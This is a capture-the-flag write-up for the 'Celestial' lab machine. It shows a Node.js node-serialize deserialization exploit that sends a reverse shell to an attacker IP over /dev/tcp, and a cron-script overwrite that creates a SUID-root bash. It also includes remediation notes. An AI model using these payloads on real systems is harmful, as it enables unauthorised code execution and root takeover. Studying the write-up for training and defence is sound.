Celestial
Summary
A Node.js/Express application exposed on port 3000 issued a base64-encoded JSON 'profile' cookie that the server passed to the insecure node-serialize library on every request. Submitting a malformed cookie triggered a full Node.js stack trace in the HTTP response, confirming the deserialization code path (CVE-2017-5941) and disclosing the OS username 'sun' from the library's filesystem path.
A forged cookie embedding a self-invoking JavaScript function executed a reverse shell as 'sun', immediately yielding the user flag. Local enumeration then revealed that a Python script owned and writable by 'sun' in her home directory was executed by root's cron daemon every one to two minutes; overwriting the script with a two-line payload that copied root's flag and dropped a SUID-root bash binary delivered full system compromise within one cron cycle.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets — <base64-payload> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP scan; replace the IP with the current target address if it changes.
$ nmap -p- --min-rate 2500 -T4 -Pn $TARGETConfirm the Express banner and capture the Set-Cookie header containing the base64 'profile' cookie.
$ curl -s -i http://$TARGET:3000/Exact commands 1
Send an unparseable cookie; read the Node.js stack trace in the response body for the library path and the username.
$ curl -s -i http://$TARGET:3000/ -H 'Cookie: profile=INVALIDBASE64!!!'FixDisable verbose stack traces and internal paths in HTTP error responsesMedium
Exact commands 3
Start the reverse-shell listener on my machine before sending the payload.
$ nc -lvnp 4444Generate the base64 RCE cookie; replace $ATTACKER_IP with my IP. Copy the printed string.
$ cat > /tmp/mkpayload.py <<PYEOF
import base64, json
cmd = 'bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"'
js = "_\$\$ND_FUNC\$\$_function(){require('child_process').exec(" + json.dumps(cmd) + ",function(){});}()"
payload = base64.b64encode(json.dumps({'username':'Dummy','country':'x','city':'y','num':'2','rce':js}).encode()).decode()
print(payload)
PYEOF
python3 /tmp/mkpayload.pySend the forged cookie; substitute <base64-payload> with the output of the previous step. The netcat listener should catch the shell.
$ curl -s -i --max-time 15 http://$TARGET:3000/ -H 'Cookie: profile=<base64-payload>'FixReplace node-serialize with safe JSON parsing and protect the cookie with a server-side signatureCritical
Exact commands 2
Confirm context — hostname should be celestial and user should be sun, not my own machine.
$ id; whoami; hostname; pwd
uid=1000(sun)Read the user flag; captured value is <user.txt>.
$ cat /home/sun/user.txtExact commands 3
List all files writable by the current user; /home/sun/Documents/script.py will appear.
$ find / -writable -type f -printf '%m %u %g %p\n' 2>/dev/null | grep -v /proc | grep -v /sysConfirm permissions on the script and observe output.txt's mtime — it updates each cron cycle.
$ ls -la /home/sun/Documents/script.py /home/sun/output.txtRead the current script to understand what root is executing and confirm sun controls the file.
$ cat /home/sun/Documents/script.pyFixRemove write access to any file or script executed by a privileged scheduled jobCritical
Exact commands 6
Back up the original script before overwriting.
$ cp /home/sun/Documents/script.py /home/sun/Documents/script.py.bak.$(date +%s)Overwrite script.py with the root-execution payload; printf interprets \n as newlines.
$ printf 'import os\nos.system("cat /root/root.txt > /home/sun/root.txt")\nos.system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash")\n' > /home/sun/Documents/script.pyPoll up to 90 seconds for the cron job to fire; confirm the flag file and SUID bash appear.
$ for i in $(seq 1 45); do if [ -s /home/sun/root.txt ] || [ -u /tmp/rootbash ]; then break; fi; sleep 2; done; ls -l /home/sun/root.txt /tmp/rootbash 2>/dev/nullRead the root flag from the world-readable copy; captured value is <root.txt>.
$ cat /home/sun/root.txtAlternative: use the SUID bash to read the flag directly from /root/root.txt.
$ /tmp/rootbash -p -c 'cat /root/root.txt'Restore the original script and remove all artifacts.
$ cp /home/sun/Documents/script.py.bak.* /home/sun/Documents/script.py; rm -f /tmp/rootbash /home/sun/root.txtAttack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 3000/tcp | ppp |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.